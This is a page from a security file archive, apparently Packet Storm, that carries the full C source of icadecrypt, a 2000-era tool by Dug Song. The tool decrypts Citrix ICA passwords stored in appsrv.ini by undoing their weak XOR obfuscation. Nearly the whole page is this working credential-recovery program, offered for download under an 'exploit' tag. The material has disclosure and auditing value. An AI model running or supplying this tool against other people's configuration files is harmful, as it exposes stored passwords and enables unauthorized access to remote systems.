what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

icadecrypt.c.txt

icadecrypt.c.txt
Posted Apr 1, 2000
Authored by Dug Song | Site monkey.org

icadecrypt cracks the weak hash encryption on stored Citrix ICA passwords (in appsrv.ini).

tags | exploit
SHA-256 | 0181118dcdd35e59f180e0f657ec91f83b1e6c2830741f73a27b7ac95c081f4c

icadecrypt.c.txt

Change Mirror Download
/*
icadecrypt.c

Decrypt stored Citrix ICA passwords (in appsrv.ini).

Dug Song <dugsong@monkey.org>
*/

#include <sys/types.h>
#include <netinet/in.h>
#include <stdio.h>
#include <string.h>
#include <ctype.h>

int
hex_decode(char *src, u_char *dst, int outsize)
{
char *p, *pe;
u_char *q, *qe, ch, cl;

pe = src + strlen(src);
qe = dst + outsize;

for (p = src, q = dst; p < pe && q < qe && isxdigit((int)*p); p += 2) {
ch = tolower(p[0]);
cl = tolower(p[1]);

if ((ch >= '0') && (ch <= '9')) ch -= '0';
else if ((ch >= 'a') && (ch <= 'f')) ch -= 'a' - 10;
else return (-1);

if ((cl >= '0') && (cl <= '9')) cl -= '0';
else if ((cl >= 'a') && (cl <= 'f')) cl -= 'a' - 10;
else return (-1);

*q++ = (ch << 4) | cl;
}
return (q - dst);
}

int
ica_decrypt(u_char *pass, int len)
{
u_short i;
u_char *p, key;

if (len < 4)
return (0);

i = ntohs(*(u_short *)pass);

if (i != len - 2)
return (0);

key = pass[2];
p = pass + 3;

for (i -= 2; i > 0; i--)
p[i] = p[i - 1] ^ p[i] ^ key;

p[0] ^= (key | 'C');

i = len - 3;
memmove(pass, pass + 3, i);
pass[i] = '\0';

return (1);
}

void
usage(void)
{
fprintf(stderr, "Usage: icadecrypt <file>\n");
exit(1);
}

int
main(int argc, char *argv[])
{
FILE *f;
u_char line[1024], pass[128];
int len;

if (argc != 2 || *argv[1] == '-')
usage();

if ((f = fopen(argv[1], "r")) == NULL) {
perror("fopen");
exit(1);
}
while (fgets(line, sizeof(line), f) != NULL) {
if (strncmp(line, "Password=", 9) == 0) {
len = hex_decode(line + 9, pass, sizeof(pass));
if (ica_decrypt(pass, len))
printf("; icadecrypt: [%s]\n", pass);
}
printf("%s", line);
}
fclose(f);

exit(0);
}

/* 5000. */

Login or Register to add favorites

File Archive:

August 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Aug 1st
    15 Files
  • 2
    Aug 2nd
    22 Files
  • 3
    Aug 3rd
    0 Files
  • 4
    Aug 4th
    0 Files
  • 5
    Aug 5th
    15 Files
  • 6
    Aug 6th
    11 Files
  • 7
    Aug 7th
    43 Files
  • 8
    Aug 8th
    42 Files
  • 9
    Aug 9th
    36 Files
  • 10
    Aug 10th
    0 Files
  • 11
    Aug 11th
    0 Files
  • 12
    Aug 12th
    27 Files
  • 13
    Aug 13th
    18 Files
  • 14
    Aug 14th
    0 Files
  • 15
    Aug 15th
    0 Files
  • 16
    Aug 16th
    0 Files
  • 17
    Aug 17th
    0 Files
  • 18
    Aug 18th
    0 Files
  • 19
    Aug 19th
    0 Files
  • 20
    Aug 20th
    0 Files
  • 21
    Aug 21st
    0 Files
  • 22
    Aug 22nd
    0 Files
  • 23
    Aug 23rd
    0 Files
  • 24
    Aug 24th
    0 Files
  • 25
    Aug 25th
    0 Files
  • 26
    Aug 26th
    0 Files
  • 27
    Aug 27th
    0 Files
  • 28
    Aug 28th
    0 Files
  • 29
    Aug 29th
    0 Files
  • 30
    Aug 30th
    0 Files
  • 31
    Aug 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close